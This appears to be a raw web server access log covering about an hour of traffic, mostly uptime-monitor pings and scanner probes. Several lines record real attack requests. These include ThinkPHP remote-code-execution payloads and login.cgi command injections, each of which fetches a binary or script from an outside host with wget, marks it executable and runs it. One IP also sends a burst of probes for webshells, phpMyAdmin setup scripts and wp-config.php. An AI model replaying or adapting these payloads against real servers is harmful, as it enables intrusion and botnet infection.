116.100.5.45 - - [25/Feb/2020:23:35:48 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
103.117.118.138 - - [25/Feb/2020:23:36:39 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [25/Feb/2020:23:36:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
180.11.11.126 - - [25/Feb/2020:23:37:06 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [25/Feb/2020:23:37:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:23:38:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
84.228.82.183 - - [25/Feb/2020:23:38:49 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
177.92.184.53 - - [25/Feb/2020:23:38:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:23:39:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
216.80.1.254 - - [25/Feb/2020:23:40:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [25/Feb/2020:23:40:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:23:41:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:23:42:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:23:43:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.108.66.176 - - [25/Feb/2020:23:44:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [25/Feb/2020:23:44:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
128.14.140.150 - - [25/Feb/2020:23:45:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
212.91.246.72 - - [25/Feb/2020:23:45:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:23:46:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:23:47:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:23:48:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:23:49:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:23:50:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:23:51:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:23:52:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:23:53:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:23:54:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:23:55:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
82.79.150.228 - - [25/Feb/2020:23:56:24 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [25/Feb/2020:23:56:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:23:57:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:23:58:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:23:59:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.138.75.88 - - [26/Feb/2020:00:00:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.88 - - [26/Feb/2020:00:00:28 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.88 - - [26/Feb/2020:00:00:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.88 - - [26/Feb/2020:00:00:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
41.39.240.44 - - [26/Feb/2020:00:00:54 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
213.91.178.131 - - [26/Feb/2020:00:01:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
189.162.118.48 - - [26/Feb/2020:00:01:38 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
121.161.99.72 - - [26/Feb/2020:00:02:28 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [26/Feb/2020:00:02:33 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [26/Feb/2020:00:02:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [26/Feb/2020:00:02:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [26/Feb/2020:00:03:15 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
31.54.109.47 - - [26/Feb/2020:00:05:58 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
190.122.148.123 - - [26/Feb/2020:00:05:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
102.135.212.82 - - [26/Feb/2020:00:12:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
125.160.198.191 - - [26/Feb/2020:00:19:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
177.21.117.147 - - [26/Feb/2020:00:21:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
183.109.216.73 - - [26/Feb/2020:00:33:42 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
198.108.66.176 - - [26/Feb/2020:00:34:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
182.254.193.48 - - [26/Feb/2020:00:38:05 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0"
182.254.193.48 - - [26/Feb/2020:00:38:05 +0100] "POST /Admin59f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0"
196.52.43.108 - - [26/Feb/2020:00:38:15 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3602.2 Safari/537.36"
182.254.193.48 - - [26/Feb/2020:00:38:33 +0100] "GET /l.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
182.254.193.48 - - [26/Feb/2020:00:38:33 +0100] "GET /phpinfo.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
182.254.193.48 - - [26/Feb/2020:00:38:34 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
182.254.193.48 - - [26/Feb/2020:00:38:34 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
182.254.193.48 - - [26/Feb/2020:00:38:57 +0100] "POST /bbs.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
182.254.193.48 - - [26/Feb/2020:00:39:22 +0100] "POST /forum.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
182.254.193.48 - - [26/Feb/2020:00:39:45 +0100] "POST /forums.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
182.254.193.48 - - [26/Feb/2020:00:40:09 +0100] "POST /bbs/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
182.254.193.48 - - [26/Feb/2020:00:40:37 +0100] "POST /forum/index.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
182.254.193.48 - - [26/Feb/2020:00:41:05 +0100] "POST /forums/index.php HTTP/1.1" 404 321 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
182.254.193.48 - - [26/Feb/2020:00:41:28 +0100] "GET /webdav/ HTTP/1.1" 404 312 "-" "Mozilla/5.0"
182.254.193.48 - - [26/Feb/2020:00:41:29 +0100] "GET /help.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:41:29 +0100] "GET /java.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:41:30 +0100] "GET /_query.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:41:31 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:41:33 +0100] "GET /db_cts.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:41:33 +0100] "GET /db_pma.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:41:34 +0100] "GET /logon.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:41:34 +0100] "GET /help-e.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:41:34 +0100] "GET /license.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:41:37 +0100] "GET /log.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:41:37 +0100] "GET /hell.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:41:37 +0100] "GET /pmd_online.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:41:38 +0100] "GET /x.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:41:41 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:41:41 +0100] "GET /htdocs.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:41:41 +0100] "GET /b.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:41:42 +0100] "GET /sane.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:41:42 +0100] "GET /desktop.ini.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:41:43 +0100] "GET /z.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:41:45 +0100] "GET /lala.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:41:49 +0100] "GET /lala-dpr.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:41:49 +0100] "GET /wpc.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:41:50 +0100] "GET /wpo.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:41:50 +0100] "GET /t6nv.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:41:53 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:41:57 +0100] "GET /text.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:41:57 +0100] "GET /wp-config.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:41:58 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:41:58 +0100] "GET /muhstik2.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:42:00 +0100] "GET /muhstiks.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:42:01 +0100] "GET /muhstik-dpr.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:42:01 +0100] "GET /lol.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:42:02 +0100] "GET /uploader.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:42:02 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:42:05 +0100] "GET /cmv.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:42:05 +0100] "GET /cmdd.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:42:05 +0100] "GET /knal.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:42:06 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:42:13 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:42:13 +0100] "GET /appserv.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:42:13 +0100] "GET /scripts/setup.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:42:14 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:42:17 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:42:17 +0100] "GET /scripts/db___.init.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:42:17 +0100] "GET /phpmyadmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:42:18 +0100] "GET /phpMyAdmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:42:18 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:42:18 +0100] "GET /PMA/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:42:20 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:42:21 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:42:21 +0100] "GET /pma/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:42:22 +0100] "GET /PMA/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:42:22 +0100] "GET /myadmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:42:22 +0100] "GET /MyAdmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:42:22 +0100] "GET /plugins/weathermap/editor.php HTTP/1.1" 404 334 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:42:24 +0100] "GET /cacti/plugins/weathermap/editor.php HTTP/1.1" 404 340 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
182.254.193.48 - - [26/Feb/2020:00:42:25 +0100] "GET /weathermap/editor.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
